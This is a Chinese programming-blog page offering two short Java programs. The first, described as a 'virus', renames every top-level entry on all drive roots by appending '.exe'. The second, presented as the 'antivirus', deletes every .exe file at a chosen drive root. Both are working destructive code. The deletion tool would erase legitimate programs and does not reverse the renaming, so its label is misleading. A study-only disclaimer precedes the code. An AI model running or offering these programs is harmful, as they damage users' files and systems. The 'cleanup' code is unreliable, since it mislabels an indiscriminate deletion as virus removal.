欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Java_文件流_更改文件后缀名

程序员文章站 2022-06-17 13:33:47
...
//通过在文件名后面添加.exe后缀,达到简单的文件感染目的
//申明:仅用于参考研究,请勿用于恶意攻击。不喜勿喷
package com.ming.demo;

import java.io.File;

public class Made_exe {

	public static void main(String[] args) {
		System.out.println("即将感染硬盘......");
		//获取本地硬盘盘符
		File[] roots =File.listRoots();
		for (int i = 0; i < roots.length; i++) {
			File f=new File(roots[i].toString());
			for (int j = 0; j < f.list().length; j++) {
				String fileName=(roots[i].toString()+f.list()[j]);
				File f_old=new File(fileName);
				File f_changeToExe=new File(fileName+".exe");
				if (f_old.renameTo(f_changeToExe)) {
					System.out.println("感染成功!");
				}else {
					System.out.println("感染失败!");
				}
				
			}
		}
	}

}


///前面“制造病毒”之后,下面的就是如何“杀毒”的代码了

package com.ming.demo;

import java.io.File;
import java.util.Scanner;

public class Kill_exe {
	public static void main(String[] args){
		Scanner input =new Scanner(System.in);
		System.out.println("请输入你要查杀的盘符:");
		String diskName=input.next()+":\\";
		File f=new File(diskName);
		if (f.exists()) {
			boolean existsExe=false;
			String[] names=f.list();
			for (int i = 0; i < names.length; i++) {
				//获取文件名
				String fileName=diskName+names[i];
				File f_exe=new File(fileName);
				int start=fileName.lastIndexOf(".")+1;
				//获取后缀名
				String type=fileName.substring(start);
				//匹配EXE
				if (type.equalsIgnoreCase("exe")) {
					existsExe=true;//发现病毒
					//删除病毒
					if (f_exe.delete()) {
						System.out.println("成功删除病毒:"+fileName);
					}else {
						System.out.println("杀毒失败,病毒名:"+fileName);
					}
				}
			}
			if (!existsExe) {
				System.out.println("未发现病毒!");
			}
		}else {
			System.out.println("不存在该盘!");
		}
		System.out.println("按任意键退出......");
		if (input.next()!=null) {
			System.exit(0);
		}

		
	}
}